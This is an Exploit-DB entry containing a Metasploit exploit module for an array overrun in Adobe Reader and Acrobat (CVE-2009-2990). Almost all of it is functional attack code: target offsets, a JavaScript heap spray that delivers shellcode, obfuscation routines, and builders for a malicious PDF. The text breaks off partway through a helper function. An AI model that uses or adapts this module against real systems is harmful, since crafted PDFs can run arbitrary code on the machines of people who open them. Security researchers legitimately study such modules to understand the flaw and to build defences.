Exploit-DB #16309
Description: Adobe - U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (1)
Type: remote
Platform: multiple
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
			'Description'    => %q{
					This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
				Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
				specially crafted pdf that a contains malformed U3D data, an attacker may
				be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
					'jduck'
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2009-2990' ],
					[ 'OSVDB', '58920' ],
					[ 'BID', '36665' ],
					[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
					'DisableNops'	 => true
				},
			'Targets'        =>
				[
					# test results (on Windows XP SP3)
					# reader 7.0.5 - untested
					# reader 7.0.8 - untested
					# reader 7.0.9 - untested
					# reader 7.1.0 - untested
					# reader 7.1.1 - untested
					# reader 8.0.0 - untested
					# reader 8.1.2 - works
					# reader 8.1.3 - works
					# reader 8.1.4 - untested
					# reader 8.1.5 - untested
					# reader 8.1.6 - untested
					# reader 9.0.0 - untested
					# reader 9.1.0 - works
					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
						{
							'Index'		=> 0x01d10000,
							'Platform'	=> 'win',
							'Arch'		=> ARCH_X86,
							'escA'		=> 0x0f0f0f0f,
							'escB'		=> 0x16161616,
							'escC'		=> 0x1c1c1c1c
						}
					],

					# untested
					[ 'Adobe Reader Linux Universal (JS Heap Spray)',
						{
							'Index'		=> 0xfffffe3c,
							'Platform'	=> 'linux',
							'Arch'		=> ARCH_X86,
							'escA'		=> 0x75797959,
							'escB'		=> 0xa2a2a2a2,
							'escC'		=> 0x9c9c9c9c
						}
					]
				],
			'DisclosureDate' => 'Oct 13 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
			], self.class)

	end



	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Make some nops
		nops    = Rex::Text.to_unescape(make_nops(4))

		# prepare the pointers!
		ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
		ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
		ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))

		script = <<-EOF
var nopz = unescape("#{nops}");
function mkSlice(stringy,size,rest){
	while (stringy.length <= size/2)
		stringy += stringy;
	stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
	return stringy;
};

function spray(escA,escB,escC,escShellcode){
	var loop1;
	var pointersA = unescape(escA);
	var pointersB = unescape(escB);
	var pointersC = unescape(escC);
	var shellcode = unescape(escShellcode);

	pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
	pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
	pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
	nop_slide = mkSlice(nopz,0x100000, shellcode.length);
	var xarr = new Array();
	for (loop1 = 0; loop1 < 400; loop1++) {
		if(loop1<100)
			xarr[loop1] = pointersA_slide+pointersA;
		else if(loop1<200)
			xarr[loop1] = pointersB_slide+pointersB;
		else if(loop1<300)
			xarr[loop1] = pointersC_slide+pointersC;
		else
			xarr[loop1] = nop_slide+shellcode;
		}
		return xarr;
	};
	var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
	this.pageNum = 1;
EOF

		# Obfuscate it up a bit
		script = obfuscate_js(script,
			'Symbols' => {
				'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
				'Methods' => %W{ mkSlice spray }
			}).to_s

		# create the u3d stuff
		u3d = make_u3d_stream(target['Index'], "E" * 11)

		# Create the pdf
		pdf = make_pdf(script, u3d)

		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(pdf)
	end


	def obfuscate_js(javascript, opts)
		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
		js.obfuscate
		return js
	end


	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		"%d 0 obj\n" % id
	end

	def ioRef(id)
		"%d 0 R" % id
	end

	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)

		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end

	def ASCIIHexWhitespaceEncode(str)
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end


	def u3d_pad(str, char="\x00")
		ret = ""
		if (str.length % 4) > 0
			ret << char * (4 - (str.length % 4))
		end
		return re